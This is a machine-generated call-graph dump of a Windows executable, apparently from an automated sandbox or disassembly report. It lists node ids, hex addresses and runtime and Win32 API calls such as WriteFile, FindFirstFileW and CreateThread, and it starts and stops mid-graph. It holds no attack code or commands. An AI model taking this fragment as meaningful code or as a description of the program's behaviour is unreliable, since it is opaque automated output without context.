101878 758b28 58 API calls __getptd_noexit 101715->101878 101719 760a89 101879 760ab5 LeaveCriticalSection __unlock_fhandle 101719->101879 101721->101663 101722->101673 101724 75d892 _raise 101723->101724 101725 75d8b6 101724->101725 101726 75d89f 101724->101726 101728 75d955 101725->101728 101730 75d8ca 101725->101730 101824 758af4 58 API calls __getptd_noexit 101726->101824 101830 758af4 58 API calls __getptd_noexit 101728->101830 101729 75d8a4 101825 758b28 58 API calls __getptd_noexit 101729->101825 101733 75d8f2 101730->101733 101734 75d8e8 101730->101734 101751 75d206 101733->101751 101826 758af4 58 API calls __getptd_noexit 101734->101826 101735 75d8ed 101831 758b28 58 API calls __getptd_noexit 101735->101831 101738 75d8f8 101740 75d91e 101738->101740 101741 75d90b 101738->101741 101827 758b28 58 API calls __getptd_noexit 101740->101827 101760 75d975 101741->101760 101742 75d961 101832 758db6 9 API calls _raise 101742->101832 101743 75d8ab _raise 101743->101680 101747 75d917 101829 75d94d LeaveCriticalSection __unlock_fhandle 101747->101829 101748 75d923 101828 758af4 58 API calls __getptd_noexit 101748->101828 101752 75d212 _raise 101751->101752 101753 75d261 EnterCriticalSection 101752->101753 101754 759c0b __lock 58 API calls 101752->101754 101755 75d287 _raise 101753->101755 101756 75d237 101754->101756 101755->101738 101759 75d24f 101756->101759 101833 759e2b InitializeCriticalSectionAndSpinCount 101756->101833 101834 75d28b LeaveCriticalSection _doexit 101759->101834 101761 75d982 __write_nolock 101760->101761 101762 75d9c1 101761->101762 101763 75d9e0 101761->101763 101794 75d9b6 101761->101794 101844 758af4 58 API calls __getptd_noexit 101762->101844 101768 75da38 101763->101768 101769 75da1c 101763->101769 101764 75c5f6 _W_store_winword 6 API calls 101766 75e1d6 101764->101766 101766->101747 101767 75d9c6 101845 758b28 58 API calls __getptd_noexit 101767->101845 101772 75da51 101768->101772 101850 7618c1 60 API calls 3 library calls 101768->101850 101847 758af4 58 API calls __getptd_noexit 101769->101847 101835 765c6b 101772->101835 101773 75da21 101848 758b28 58 API calls __getptd_noexit 101773->101848 101774 75d9cd 101846 758db6 9 API calls _raise 101774->101846 101779 75da5f 101781 75ddb8 101779->101781 101851 7599ac 58 API calls 2 library calls 101779->101851 101780 75da28 101849 758db6 9 API calls _raise 101780->101849 101782 75ddd6 101781->101782 101783 75e14b WriteFile 101781->101783 101786 75defa 101782->101786 101792 75ddec 101782->101792 101787 75ddab GetLastError 101783->101787 101796 75dd78 101783->101796 101807 75dfef 101786->101807 101808 75df05 101786->101808 101787->101796 101788 75da8b GetConsoleMode 101788->101781 101790 75daca 101788->101790 101789 75e184 101789->101794 101856 758b28 58 API calls __getptd_noexit 101789->101856 101790->101781 101791 75dada GetConsoleCP 101790->101791 101791->101789 101821 75db09 101791->101821 101792->101789 101793 75de5b WriteFile 101792->101793 101793->101787 101797 75de98 101793->101797 101794->101764 101796->101789 101796->101794 101799 75ded8 101796->101799 101797->101792 101812 75debc 101797->101812 101798 75e1b2 101857 758af4 58 API calls __getptd_noexit 101798->101857 101800 75dee3 101799->101800 101801 75e17b 101799->101801 101853 758b28 58 API calls __getptd_noexit 101800->101853 101855 758b07 58 API calls 3 library calls 101801->101855 101802 75e064 WideCharToMultiByte 101802->101787 101816 75e0ab 101802->101816 101803 75df6a WriteFile 101803->101787 101809 75dfb9 101803->101809 101807->101789 101807->101802 101808->101789 101808->101803 101809->101796 101809->101808 101809->101812 101810 75dee8 101854 758af4 58 API calls __getptd_noexit 101810->101854 101811 75e0b3 WriteFile 101815 75e106 GetLastError 101811->101815 101811->101816 101812->101796 101815->101816 101816->101796 101816->101807 101816->101811 101816->101812 101817 767a5e WriteConsoleW CreateFileW __putwch_nolock 101822 75dc5f 101817->101822 101818 75dbf2 WideCharToMultiByte 101818->101796 101820 75dc2d WriteFile 101818->101820 101819 7662ba 60 API calls __write_nolock 101819->101821 101820->101787 101820->101822 101821->101796 101821->101818 101821->101819 101821->101822 101852 7535f5 58 API calls __isleadbyte_l 101821->101852 101822->101787 101822->101796 101822->101817 101822->101821 101823 75dc87 WriteFile 101822->101823 101823->101787 101823->101822 101824->101729 101825->101743 101826->101735 101827->101748 101828->101747 101829->101743 101830->101735 101831->101742 101832->101743 101833->101759 101834->101753 101836 765c76 101835->101836 101837 765c83 101835->101837 101838 758b28 _raise 58 API calls 101836->101838 101839 765c8f 101837->101839 101840 758b28 _raise 58 API calls 101837->101840 101841 765c7b 101838->101841 101839->101779 101842 765cb0 101840->101842 101841->101779 101843 758db6 _raise 9 API calls 101842->101843 101843->101841 101844->101767 101845->101774 101846->101794 101847->101773 101848->101780 101849->101794 101850->101772 101851->101788 101852->101821 101853->101810 101854->101794 101855->101794 101856->101798 101857->101794 101858->101692 101859->101694 101883 75d4c3 101860->101883 101862 760b41 101896 75d43d 59 API calls 2 library calls 101862->101896 101864 760aeb 101864->101862 101865 760b1f 101864->101865 101866 75d4c3 __commit 58 API calls 101864->101866 101865->101862 101867 75d4c3 __commit 58 API calls 101865->101867 101869 760b16 101866->101869 101870 760b2b CloseHandle 101867->101870 101868 760b49 101871 760b6b 101868->101871 101897 758b07 58 API calls 3 library calls 101868->101897 101872 75d4c3 __commit 58 API calls 101869->101872 101870->101862 101873 760b37 GetLastError 101870->101873 101871->101719 101872->101865 101873->101862 101875->101701 101876->101708 101877->101707 101878->101719 101879->101708 101880->101707 101881->101713 101882->101708 101884 75d4ce 101883->101884 101886 75d4e3 101883->101886 101898 758af4 58 API calls __getptd_noexit 101884->101898 101891 75d508 101886->101891 101900 758af4 58 API calls __getptd_noexit 101886->101900 101888 75d4d3 101899 758b28 58 API calls __getptd_noexit 101888->101899 101889 75d512 101901 758b28 58 API calls __getptd_noexit 101889->101901 101891->101864 101893 75d4db 101893->101864 101894 75d51a 101902 758db6 9 API calls _raise 101894->101902 101896->101868 101897->101871 101898->101888 101899->101893 101900->101889 101901->101894 101902->101893 101965 761940 101903->101965 101906 734799 101971 737d8c 101906->101971 101907 73477c 101908 737bcc 59 API calls 101907->101908 101910 734788 101908->101910 101967 737726 101910->101967 101913 750791 101914 75079e __write_nolock 101913->101914 101915 75079f GetLongPathNameW 101914->101915 101916 737bcc 59 API calls 101915->101916 101917 7372bd 101916->101917 101918 73700b 101917->101918 101919 737667 59 API calls 101918->101919 101920 73701d 101919->101920 101921 734750 60 API calls 101920->101921 101922 737028 101921->101922 101923 737033 101922->101923 101924 76e885 101922->101924 101925 733f74 59 API calls 101923->101925 101929 76e89f 101924->101929 101981 737908 61 API calls 101924->101981 101927 73703f 101925->101927 101975 7334c2 101927->101975 101930 737052 Mailbox 101930->101076 101932 734ddd 136 API calls 101931->101932 101933 73688f 101932->101933 101934 76e031 101933->101934 101935 734ddd 136 API calls 101933->101935 101936 79955b 122 API calls 101934->101936 101937 7368a3 101935->101937 101938 76e046 101936->101938 101937->101934 101939 7368ab 101937->101939 101940 76e067 101938->101940 101941 76e04a 101938->101941 101943 76e052 101939->101943 101944 7368b7 101939->101944 101942 750db6 Mailbox 59 API calls 101940->101942 101945 734e4a 84 API calls 101941->101945 101964 76e0ac Mailbox 101942->101964 102091 7942f8 90 API calls _wprintf 101943->102091 101982 736a8c 101944->101982 101945->101943 101948 76e060 101948->101940 101950 76e260 101951 752d55 _free 58 API calls 101950->101951 101952 76e268 101951->101952 101953 734e4a 84 API calls 101952->101953 101958 76e271 101953->101958 101957 752d55 _free 58 API calls 101957->101958 101958->101957 101960 734e4a 84 API calls 101958->101960 102094 78f7a1 89 API calls 4 library calls 101958->102094 101960->101958 101961 737de1 59 API calls 101961->101964 101964->101950 101964->101958 101964->101961 102074 78f73d 101964->102074 102077 73750f 101964->102077 102085 73735d 101964->102085 102092 78f65e 61 API calls 2 library calls 101964->102092 102093 79737f 59 API calls Mailbox 101964->102093 101966 73475d GetFullPathNameW 101965->101966 101966->101906 101966->101907 101968 737734 101967->101968 101969 737d2c 59 API calls 101968->101969 101970 734794 101969->101970 101970->101913 101972 737da6 101971->101972 101974 737d99 101971->101974 101973 750db6 Mailbox 59 API calls 101972->101973 101973->101974 101974->101910 101976 7334d4 101975->101976 101980 7334f3 _memmove 101975->101980 101978 750db6 Mailbox 59 API calls 101976->101978 101977 750db6 Mailbox 59 API calls 101979 73350a 101977->101979 101978->101980 101979->101930 101980->101977 101981->101924 101983 736ab5 101982->101983 101984 76e41e 101982->101984 102100 7357a6 60 API calls Mailbox 101983->102100 102167 78f7a1 89 API calls 4 library calls 101984->102167 101987 736ad7 102101 7357f6 67 API calls 101987->102101 101988 76e431 102168 78f7a1 89 API calls 4 library calls 101988->102168 101990 736aec 101990->101988 101991 736af4 101990->101991 101994 737667 59 API calls 101991->101994 101993 76e44d 101996 736b61 101993->101996 101995 736b00 101994->101995 102102 750957 60 API calls __write_nolock 101995->102102 101998 76e460 101996->101998 101999 736b6f 101996->101999 102001 735c6f CloseHandle 101998->102001 102002 737667 59 API calls 101999->102002 102000 736b0c 102003 737667 59 API calls 102000->102003 102004 76e46c 102001->102004 102005 736b78 102002->102005 102006 736b18 102003->102006 102008 734ddd 136 API calls 102004->102008 102009 737667 59 API calls 102005->102009 102007 734750 60 API calls 102006->102007 102010 736b26 102007->102010 102011 76e488 102008->102011 102012 736b81 102009->102012 102103 735850 ReadFile SetFilePointerEx 102010->102103 102014 76e4b1 102011->102014 102017 79955b 122 API calls 102011->102017 102105 73459b 102012->102105 102169 78f7a1 89 API calls 4 library calls 102014->102169 102016 736b52 102104 735aee SetFilePointerEx SetFilePointerEx 102016->102104 102021 76e4a4 102017->102021 102018 736b98 102022 737b2e 59 API calls 102018->102022 102023 76e4ac 102021->102023 102024 76e4cd 102021->102024 102025 736ba9 SetCurrentDirectoryW 102022->102025 102027 734e4a 84 API calls 102023->102027 102026 734e4a 84 API calls 102024->102026 102030 736bbc Mailbox 102025->102030 102028 76e4d2 102026->102028 102027->102014 102029 750db6 Mailbox 59 API calls 102028->102029 102036 76e506 102029->102036 102032 750db6 Mailbox 59 API calls 102030->102032 102034 736bcf 102032->102034 102033 733bbb 102033->100936 102033->100960 102035 73522e 59 API calls 102034->102035 102050 736bda Mailbox __wsetenvp 102035->102050 102037 73750f 59 API calls 102036->102037 102070 76e54f Mailbox 102037->102070 102038 736ce7 102163 735c6f 102038->102163 102041 76e740 102173 7972df 59 API calls Mailbox 102041->102173 102042 736cf3 SetCurrentDirectoryW 102043 736d0c Mailbox 102042->102043 102095 7357d4 102043->102095 102046 76e762 102174 7afbce 59 API calls 2 library calls 102046->102174 102049 76e76f 102051 752d55 _free 58 API calls 102049->102051 102050->102038 102057 76e7d1 102050->102057 102060 737de1 59 API calls 102050->102060 102061 76e7d9 102050->102061 102156 73586d 67 API calls _wcscpy 102050->102156 102157 736f5d GetStringTypeW 102050->102157 102158 736ecc 60 API calls __wcsnicmp 102050->102158 102159 736faa GetStringTypeW __wsetenvp 102050->102159 102160 75363d GetStringTypeW _iswctype 102050->102160 102161 7368dc 165 API calls 3 library calls 102050->102161 102162 737213 59 API calls Mailbox 102050->102162 102051->102043 102054 73750f 59 API calls 102054->102070 102055 76e7f2 102055->102038 102176 78f5f7 59 API calls 4 library calls 102057->102176 102060->102050 102177 78f7a1 89 API calls 4 library calls 102061->102177 102063 78f73d 59 API calls 102063->102070 102064 737de1 59 API calls 102064->102070 102068 76e792 102175 78f7a1 89 API calls 4 library calls 102068->102175 102070->102041 102070->102054 102070->102063 102070->102064 102070->102068 102170 78f65e 61 API calls 2 library calls 102070->102170 102171 79737f 59 API calls Mailbox 102070->102171 102172 737213 59 API calls Mailbox 102070->102172 102071 76e7ab 102072 752d55 _free 58 API calls 102071->102072 102073 76e4c8 102072->102073 102073->102043 102075 750db6 Mailbox 59 API calls 102074->102075 102076 78f76d _memmove 102075->102076 102076->101964 102078 7375af 102077->102078 102081 737522 _memmove 102077->102081 102080 750db6 Mailbox 59 API calls 102078->102080 102079 750db6 Mailbox 59 API calls 102082 737529 102079->102082 102080->102081 102081->102079 102083 750db6 Mailbox 59 API calls 102082->102083 102084 737552 102082->102084 102083->102084 102084->101964 102086 737370 102085->102086 102088 73741e 102085->102088 102087 750db6 Mailbox 59 API calls 102086->102087 102090 7373a2 102086->102090 102087->102090 102088->101964 102089 750db6 59 API calls Mailbox 102089->102090 102090->102088 102090->102089 102091->101948 102092->101964 102093->101964 102094->101958 102096 735c6f CloseHandle 102095->102096 102097 7357dc Mailbox 102096->102097 102098 735c6f CloseHandle 102097->102098 102099 7357eb 102098->102099 102099->102033 102100->101987 102101->101990 102102->102000 102103->102016 102104->101996 102106 737667 59 API calls 102105->102106 102107 7345b1 102106->102107 102108 737667 59 API calls 102107->102108 102109 7345b9 102108->102109 102110 737667 59 API calls 102109->102110 102111 7345c1 102110->102111 102112 737667 59 API calls 102111->102112 102113 7345c9 102112->102113 102114 76d4d2 102113->102114 102115 7345fd 102113->102115 102116 738047 59 API calls 102114->102116 102117 73784b 59 API calls 102115->102117 102118 76d4db 102116->102118 102119 73460b 102117->102119 102120 737d8c 59 API calls 102118->102120 102121 737d2c 59 API calls 102119->102121 102123 734640 102120->102123 102122 734615 102121->102122 102122->102123 102124 73784b 59 API calls 102122->102124 102125 734680 102123->102125 102126 73465f 102123->102126 102138 76d4fb 102123->102138 102127 734636 102124->102127 102178 73784b 102125->102178 102132 7379f2 59 API calls 102126->102132 102131 737d2c 59 API calls 102127->102131 102129 734691 102133 7346a3 102129->102133 102136 738047 59 API calls 102129->102136 102130 76d5cb 102134 737bcc 59 API calls 102130->102134 102131->102123 102135 734669 102132->102135 102137 7346b3 102133->102137 102139 738047 59 API calls 102133->102139 102151 76d588 102134->102151 102135->102125 102142 73784b 59 API calls 102135->102142 102136->102133 102141 7346ba 102137->102141 102143 738047 59 API calls 102137->102143 102138->102130 102140 76d5b4 102138->102140 102149 76d532 102138->102149 102139->102137 102140->102130 102145 76d59f 102140->102145 102144 738047 59 API calls 102141->102144 102153 7346c1 Mailbox 102141->102153 102142->102125 102143->102141 102144->102153 102148 737bcc 59 API calls 102145->102148 102146 76d590 102147 737bcc 59 API calls 102146->102147 102147->102151 102148->102151 102149->102146 102154 76d57b 102149->102154 102150 7379f2 59 API calls 102150->102151 102151->102125 102151->102150 102191 737924 59 API calls 2 library calls 102151->102191 102153->102018 102155 737bcc 59 API calls 102154->102155 102155->102151 102156->102050 102157->102050 102158->102050 102159->102050 102160->102050 102161->102050 102162->102050 102164 735c79 102163->102164 102165 735c88 102163->102165 102164->102042 102165->102164 102166 735c8d CloseHandle 102165->102166 102166->102164 102167->101988 102168->101993 102169->102073 102170->102070 102171->102070 102172->102070 102173->102046 102174->102049 102175->102071 102176->102061 102177->102055 102179 7378b7 102178->102179 102180 73785a 102178->102180 102182 737d2c 59 API calls 102179->102182 102180->102179 102181 737865 102180->102181 102183 737880 102181->102183 102184 76eb09 102181->102184 102188 737888 _memmove 102182->102188 102192 737f27 59 API calls Mailbox 102183->102192 102186 738029 59 API calls 102184->102186 102187 76eb13 102186->102187 102189 750db6 Mailbox 59 API calls 102187->102189 102188->102129 102190 76eb33 102189->102190 102191->102151 102192->102188 102194 736d95 102193->102194 102195 736ea9 102193->102195 102194->102195 102196 750db6 Mailbox 59 API calls 102194->102196 102195->101082 102198 736dbc 102196->102198 102197 750db6 Mailbox 59 API calls 102203 736e31 102197->102203 102198->102197 102201 73735d 59 API calls 102201->102203 102202 73750f 59 API calls 102202->102203 102203->102195 102203->102201 102203->102202 102206 736240 102203->102206 102231 786553 59 API calls Mailbox 102203->102231 102204->101084 102205->101086 102207 737a16 59 API calls 102206->102207 102211 736265 102207->102211 102208 73646a 102209 73750f 59 API calls 102208->102209 102210 736484 Mailbox 102209->102210 102210->102203 102211->102208 102214 76dff6 102211->102214 102215 73750f 59 API calls 102211->102215 102220 737d8c 59 API calls 102211->102220 102223 76df92 102211->102223 102227 737e4f 59 API calls 102211->102227 102230 736799 _memmove 102211->102230 102232 735f6c 60 API calls 102211->102232 102233 735d41 59 API calls Mailbox 102211->102233 102234 735e72 60 API calls 102211->102234 102235 737924 59 API calls 2 library calls 102211->102235 102236 78f8aa 91 API calls 4 library calls 102214->102236 102215->102211 102219 76e004 102221 73750f 59 API calls 102219->102221 102220->102211 102222 76e01a 102221->102222 102222->102210 102224 738029 59 API calls 102223->102224 102226 76df9d 102224->102226 102229 750db6 Mailbox 59 API calls 102226->102229 102228 73643b CharUpperBuffW 102227->102228 102228->102211 102229->102230 102237 78f8aa 91 API calls 4 library calls 102230->102237 102231->102203 102232->102211 102233->102211 102234->102211 102235->102211 102236->102219 102237->102210 102238->101100 102239->101101 102241 73e6d5 102240->102241 102242 773aa9 102241->102242 102244 73e73f 102241->102244 102254 73e799 102241->102254 102410 739ea0 102242->102410 102248 737667 59 API calls 102244->102248 102244->102254 102245 773abe 102270 73e970 Mailbox 102245->102270 102434 799e4a 89 API calls 4 library calls 102245->102434 102246 737667 59 API calls 102246->102254 102250 773b04 102248->102250 102249 752d40 __cinit 67 API calls 102249->102254 102252 752d40 __cinit 67 API calls 102250->102252 102251 773b26 102251->101179 102252->102254 102253 7384c0 69 API calls 102253->102270 102254->102246 102254->102249 102254->102251 102255 73e95a 102254->102255 102254->102270 102255->102270 102435 799e4a 89 API calls 4 library calls 102255->102435 102257 738d40 59 API calls 102257->102270 102258 739ea0 331 API calls 102258->102270 102260 799e4a 89 API calls 102260->102270 102267 773e25 102267->101179 102268 73f195 102439 799e4a 89 API calls 4 library calls 102268->102439 102269 73ea78 102269->101179 102270->102253 102270->102257 102270->102258 102270->102260 102270->102268 102270->102269 102409 737f77 59 API calls 2 library calls 102270->102409 102436 786e8f 59 API calls 102270->102436 102437 7ac5c3 331 API calls 102270->102437 102438 7ab53c 331 API calls Mailbox 102270->102438 102440 739c90 59 API calls Mailbox 102270->102440 102441 7a93c6 331 API calls Mailbox 102270->102441 102272 73f650 102271->102272 102273 73f4ba 102271->102273 102276 737de1 59 API calls 102272->102276 102274 73f4c6 102273->102274 102275 77441e 102273->102275 102540 73f290 331 API calls 2 library calls 102274->102540 102542 7abc6b 331 API calls Mailbox 102275->102542 102282 73f58c Mailbox 102276->102282 102279 77442c 102283 73f630 102279->102283 102543 799e4a 89 API calls 4 library calls 102279->102543 102281 73f4fd 102281->102279 102281->102282 102281->102283 102288 734e4a 84 API calls 102282->102288 102448 793c37 102282->102448 102451 7a445a 102282->102451 102460 79cb7a 102282->102460 102283->101179 102284 73f5e3 102284->102283 102541 739c90 59 API calls Mailbox 102284->102541 102288->102284 102701 738180 102290->102701 102292 73fd3d 102293 77472d 102292->102293 102354 7406f6 102292->102354 102706 73f234 102292->102706 102723 799e4a 89 API calls 4 library calls 102293->102723 102297 740545 _memmove 102324 750db6 Mailbox 59 API calls 102297->102324 102298 73fe3e 102303 73fe4c 102298->102303 102329 77488d 102298->102329 102727 7866ec 59 API calls 2 library calls 102298->102727 102299 774b53 102332 774742 102299->102332 102740 799e4a 89 API calls 4 library calls 102299->102740 102300 740517 102307 750db6 Mailbox 59 API calls 102300->102307 102301 73fdd3 102301->102297 102301->102298 102301->102300 102304 774755 102301->102304 102306 750db6 59 API calls Mailbox 102301->102306 102301->102332 102334 739ea0 331 API calls 102301->102334 102344 77480c 102301->102344 102303->102299 102317 7748f9 102303->102317 102710 73837c 102303->102710 102322 7747d7 102304->102322 102724 73f6a3 331 API calls 102304->102724 102306->102301 102307->102297 102308 7748b2 Mailbox 102308->102303 102730 7866ec 59 API calls 2 library calls 102308->102730 102309 774848 102728 7860ef 59 API calls 2 library calls 102309->102728 102316 774917 102321 774928 102316->102321 102732 7385c0 59 API calls Mailbox 102316->102732 102317->102316 102731 7385c0 59 API calls Mailbox 102317->102731 102318 73fea4 102327 774ad6 102318->102327 102328 73ff32 102318->102328 102363 740179 Mailbox _memmove 102318->102363 102319 77486b 102323 739ea0 331 API calls 102319->102323 102321->102363 102733 7860ab 59 API calls Mailbox 102321->102733 102322->102332 102725 799e4a 89 API calls 4 library calls 102322->102725 102323->102329 102353 740106 _memmove 102324->102353 102738 799ae7 60 API calls 102327->102738 102330 750db6 Mailbox 59 API calls 102328->102330 102329->102303 102329->102332 102729 7aa2d9 85 API calls Mailbox 102329->102729 102335 73ff39 102330->102335 102334->102301 102338 7409d0 331 API calls 102335->102338 102335->102354 102336 774a4d 102337 739ea0 331 API calls 102336->102337 102339 774a87 102337->102339 102340 73ffb2 102338->102340 102339->102332 102342 7384c0 69 API calls 102339->102342 102340->102297 102348 73ffe6 102340->102348 102340->102354 102347 774ab2 102342->102347 102726 799e4a 89 API calls 4 library calls 102344->102726 102737 799e4a 89 API calls 4 library calls 102347->102737 102352 738047 59 API calls 102348->102352 102356 740007 102348->102356 102352->102356 102353->102363 102369 740162 102353->102369 102721 739c90 59 API calls Mailbox 102353->102721 102722 799e4a 89 API calls 4 library calls 102354->102722 102355 740398 102355->101179 102356->102354 102358 774b24 102356->102358 102360 74004c 102356->102360 102357 750db6 59 API calls Mailbox 102357->102363 102739 739d3c 60 API calls Mailbox 102358->102739 102360->102299 102360->102354 102361 7400d8 102360->102361 102717 739d3c 60 API calls Mailbox 102361->102717 102363->102336 102363->102347 102363->102354 102363->102355 102363->102357 102364 774a1c 102363->102364 102719 738740 68 API calls __cinit 102363->102719 102720 738660 68 API calls 102363->102720 102734 795937 68 API calls 102363->102734 102735 7389b3 69 API calls Mailbox 102363->102735 102736 739d3c 60 API calls Mailbox 102363->102736 102366 750db6 Mailbox 59 API calls 102364->102366 102366->102336 102369->101179 102370->101179 102371->101179 102372->101108 102373->101113 102374->101179 102375->101118 102376->101118 102377->101118 102378->101179 102379->101179 102380->101179 102382 739851 102381->102382 102391 73984b 102381->102391 102383 739857 __itow 102382->102383 102384 739899 102382->102384 102385 76f5d3 __i64tow 102382->102385 102390 76f4da 102382->102390 102388 750db6 Mailbox 59 API calls 102383->102388 102743 753698 83 API calls 3 library calls 102384->102743 102385->102385 102389 739871 102388->102389 102389->102391 102393 737de1 59 API calls 102389->102393 102392 750db6 Mailbox 59 API calls 102390->102392 102397 76f552 Mailbox _wcscpy 102390->102397 102391->101179 102394 76f51f 102392->102394 102393->102391 102395 750db6 Mailbox 59 API calls 102394->102395 102396 76f545 102395->102396 102396->102397 102398 737de1 59 API calls 102396->102398 102744 753698 83 API calls 3 library calls 102397->102744 102398->102397 102399->101179 102400->101179 102401->101179 102402->101165 102403->101165 102404->101165 102405->101165 102406->101165 102407->101165 102408->101165 102409->102270 102411 739ebf 102410->102411 102429 739eed Mailbox 102410->102429 102412 750db6 Mailbox 59 API calls 102411->102412 102412->102429 102413 73b475 102414 738047 59 API calls 102413->102414 102427 73a057 102414->102427 102415 73b47a 102416 770055 102415->102416 102433 7709e5 102415->102433 102444 799e4a 89 API calls 4 library calls 102416->102444 102417 737667 59 API calls 102417->102429 102421 770064 102421->102245 102422 750db6 59 API calls Mailbox 102422->102429 102423 738047 59 API calls 102423->102429 102426 786e8f 59 API calls 102426->102429 102427->102245 102428 752d40 67 API calls __cinit 102428->102429 102429->102413 102429->102415 102429->102416 102429->102417 102429->102422 102429->102423 102429->102426 102429->102427 102429->102428 102430 7709d6 102429->102430 102432 73a55a 102429->102432 102442 73c8c0 331 API calls 2 library calls 102429->102442 102443 73b900 60 API calls Mailbox 102429->102443 102446 799e4a 89 API calls 4 library calls 102430->102446 102445 799e4a 89 API calls 4 library calls 102432->102445 102447 799e4a 89 API calls 4 library calls 102433->102447 102434->102270 102435->102270 102436->102270 102437->102270 102438->102270 102439->102267 102440->102270 102441->102270 102442->102429 102443->102429 102444->102421 102445->102427 102446->102433 102447->102427 102544 79445a GetFileAttributesW 102448->102544 102452 739837 84 API calls 102451->102452 102453 7a4494 102452->102453 102454 736240 94 API calls 102453->102454 102455 7a44a4 102454->102455 102456 7a44c9 102455->102456 102457 739ea0 331 API calls 102455->102457 102459 7a44cd 102456->102459 102548 739a98 59 API calls Mailbox 102456->102548 102457->102456 102459->102284 102461 737667 59 API calls 102460->102461 102462 79cbaf 102461->102462 102463 737667 59 API calls 102462->102463 102464 79cbb8 102463->102464 102465 79cbcc 102464->102465 102658 739b3c 59 API calls 102464->102658 102467 739837 84 API calls 102465->102467 102468 79cbe9 102467->102468 102469 79cc0b 102468->102469 102470 79ccea 102468->102470 102481 79cd1a Mailbox 102468->102481 102472 739837 84 API calls 102469->102472 102471 734ddd 136 API calls 102470->102471 102474 79ccfe 102471->102474 102473 79cc17 102472->102473 102475 738047 59 API calls 102473->102475 102476 79cd16 102474->102476 102478 734ddd 136 API calls 102474->102478 102477 79cc23 102475->102477 102479 737667 59 API calls 102476->102479 102476->102481 102483 79cc69 102477->102483 102484 79cc37 102477->102484 102478->102476 102480 79cd4b 102479->102480 102482 737667 59 API calls 102480->102482 102481->102284 102485 79cd54 102482->102485 102488 739837 84 API calls 102483->102488 102487 738047 59 API calls 102484->102487 102486 737667 59 API calls 102485->102486 102489 79cd5d 102486->102489 102490 79cc47 102487->102490 102491 79cc76 102488->102491 102493 737667 59 API calls 102489->102493 102494 737cab 59 API calls 102490->102494 102492 738047 59 API calls 102491->102492 102495 79cc82 102492->102495 102497 79cc51 102494->102497 102659 794a31 GetFileAttributesW 102495->102659 102500 739837 84 API calls 102497->102500 102503 79cc5d 102500->102503 102501 79cc8b 102540->102281 102541->102284 102542->102279 102543->102283 102545 794475 FindFirstFileW 102544->102545 102547 793c3e 102544->102547 102546 79448a FindClose 102545->102546 102545->102547 102546->102547 102547->102284 102548->102459 102658->102465 102659->102501 102702 73818f 102701->102702 102705 7381aa 102701->102705 102703 737e4f 59 API calls 102702->102703 102704 738197 CharUpperBuffW 102703->102704 102704->102705 102705->102292 102708 73f251 102706->102708 102707 73f272 102707->102301 102708->102707 102741 799e4a 89 API calls 4 library calls 102708->102741 102711 76edbd 102710->102711 102712 73838d 102710->102712 102713 750db6 Mailbox 59 API calls 102712->102713 102714 738394 102713->102714 102715 7383b5 102714->102715 102742 738634 59 API calls Mailbox 102714->102742 102715->102317 102715->102318 102719->102363 102720->102363 102721->102353 102722->102293 102723->102332 102724->102322 102725->102332 102726->102332 102727->102309 102728->102319 102729->102308 102730->102308 102731->102316 102732->102321 102733->102363 102734->102363 102735->102363 102736->102363 102737->102332 102738->102348 102739->102299 102740->102332 102741->102707 102742->102715 102743->102383 102744->102385 102745 798d0d 102746 798d1a 102745->102746 102747 798d20 102745->102747 102748 752d55 _free 58 API calls 102746->102748 102749 798d31 102747->102749 102750 752d55 _free 58 API calls 102747->102750 102748->102747 102751 798d43 102749->102751 102752 752d55 _free 58 API calls 102749->102752 102750->102749 102752->102751 102753 731066 102758 73f76f 102753->102758 102755 73106c 102756 752d40 __cinit 67 API calls 102755->102756 102757 731076 102756->102757 102759 73f790 102758->102759 102791 74ff03 102759->102791 102763 73f7d7 102764 737667 59 API calls 102763->102764 102765 73f7e1 102764->102765 102766 737667 59 API calls 102765->102766 102767 73f7eb 102766->102767 102768 737667 59 API calls 102767->102768 102769 73f7f5 102768->102769 102770 737667 59 API calls 102769->102770 102771 73f833 102770->102771 102772 737667 59 API calls 102771->102772 102773 73f8fe 102772->102773 102801 745f87 102773->102801 102777 73f930 102778 737667 59 API calls 102777->102778 102779 73f93a 102778->102779 102829 74fd9e 102779->102829 102781 73f981 102782 73f991 GetStdHandle 102781->102782 102783 7745ab 102782->102783 102784 73f9dd 102782->102784 102783->102784 102786 7745b4 102783->102786 102785 73f9e5 OleInitialize 102784->102785 102785->102755 102836 796b38 64 API calls Mailbox 102786->102836 102788 7745bb 102837 797207 CreateThread 102788->102837 102790 7745c7 CloseHandle 102790->102785 102838 74ffdc 102791->102838 102794 74ffdc 59 API calls 102795 74ff45 102794->102795 102796 737667 59 API calls 102795->102796 102797 74ff51 102796->102797 102798 737bcc 59 API calls 102797->102798 102799 73f796 102798->102799 102800 750162 6 API calls 102799->102800 102800->102763 102802 737667 59 API calls 102801->102802 102803 745f97 102802->102803 102804 737667 59 API calls 102803->102804 102805 745f9f 102804->102805 102845 745a9d 102805->102845 102808 745a9d 59 API calls 102809 745faf 102808->102809 102810 737667 59 API calls 102809->102810 102811 745fba 102810->102811 102812 750db6 Mailbox 59 API calls 102811->102812 102813 73f908 102812->102813 102814 7460f9 102813->102814 102815 746107 102814->102815 102816 737667 59 API calls 102815->102816 102817 746112 102816->102817 102818 737667 59 API calls 102817->102818 102819 74611d 102818->102819 102820 737667 59 API calls 102819->102820 102821 746128 102820->102821 102822 737667 59 API calls 102821->102822 102823 746133 102822->102823 102824 745a9d 59 API calls 102823->102824 102825 74613e 102824->102825 102826 750db6 Mailbox 59 API calls 102825->102826 102827 746145 RegisterWindowMessageW 102826->102827 102827->102777 102830 78576f 102829->102830 102831 74fdae 102829->102831 102848 799ae7 60 API calls 102830->102848 102832 750db6 Mailbox 59 API calls 102831->102832 102835 74fdb6 102832->102835 102834 78577a 102835->102781 102836->102788 102837->102790 102849 7971ed 65 API calls 102837->102849 102839 737667 59 API calls 102838->102839 102840 74ffe7 102839->102840 102841 737667 59 API calls 102840->102841 102842 74ffef 102841->102842 102843 737667 59 API calls 102842->102843 102844 74ff3b 102843->102844 102844->102794 102846 737667 59 API calls 102845->102846 102847 745aa5 102846->102847 102847->102808 102848->102834 102850 731016 102855 734974 102850->102855 102853 752d40 __cinit 67 API calls 102854 731025 102853->102854 102856 750db6 Mailbox 59 API calls 102855->102856 102857 73497c 102856->102857 102858 73101b 102857->102858 102862 734936 102857->102862 102858->102853 102863 734951 102862->102863 102864 73493f 102862->102864 102866 7349a0 102863->102866 102865 752d40 __cinit 67 API calls 102864->102865 102865->102863 102867 737667 59 API calls 102866->102867 102868 7349b8 GetVersionExW 102867->102868 102869 737bcc 59 API calls 102868->102869 102870 7349fb 102869->102870 102871 737d2c 59 API calls 